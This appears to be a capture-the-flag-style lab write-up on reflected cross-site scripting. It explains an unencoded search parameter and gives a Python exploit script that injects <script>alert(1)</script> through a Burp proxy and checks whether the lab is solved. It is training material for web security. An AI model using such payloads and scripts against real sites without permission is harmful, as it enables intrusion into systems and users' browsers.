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XSS Lab 1

Reflected cross-site scripting attack into HTML context with nothing encoded

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Reflected XSS into HTML context with nothing encoded#

This lab demonstrates a simple reflected XSS vulnerability in the search functionality of a web application. The application does not encode user input before rendering it in the HTML response, allowing an attacker to execute arbitrary JavaScript. The goal is to inject a payload that calls the alert() function.

How Exploit Works#

The search parameter is vulnerable to reflected XSS.
By injecting <script>alert(1)</script>, the browser executes the JavaScript in the HTML context.
Once the payload executes, the lab marks it as solved.
This demonstrates the importance of output encoding to prevent XSS attacks.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net

cmd

Exploit#

exploit.py

import requests
import sys
import urllib3

# Disable SSL warnings for Burp Suite
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set Burp Suite proxy
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def check_burp():
    # Check if Burp Suite is running and listening on the configured proxy.

    try:
        requests.get("http://127.0.0.1:8080", timeout=3)
    except requests.exceptions.RequestException:
        print("[-] Burp Suite is not running. Please start it and try again.")
        sys.exit(1)

def exploit_xss(url, payload):
    # Exploit XSS in search parameter.
        uri = f"/?search={payload}"
        res = requests.get(url + uri, verify=False, proxies=proxies)
        res.raise_for_status()
        session = requests.Session()
        res = session.get(url, verify=False, proxies=proxies)
        if "Congratulations" in res.text:
            print("[+] Lab solved 🎉")
            return True
        else:
            print("[-] lab not solved.")

def main():
    # Entry point of the script.

    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        print(f"Example: python {sys.argv[0]} https://example.com")
        sys.exit(1)

    url = sys.argv[1].strip()

    # Step 1: Check Burp Suite
    check_burp()

    # Step 2: Define XSS payload
    payload = '<script>alert(1)</script>'

    # Step 3: Attempt exploitation
    print("[*] Attempting XSS...")
    if exploit_xss(url, payload):
        print("[+] XSS successful!")
    else:
        print("[-] XSS unsuccessful.")

if __name__ == "__main__":
    main()

python

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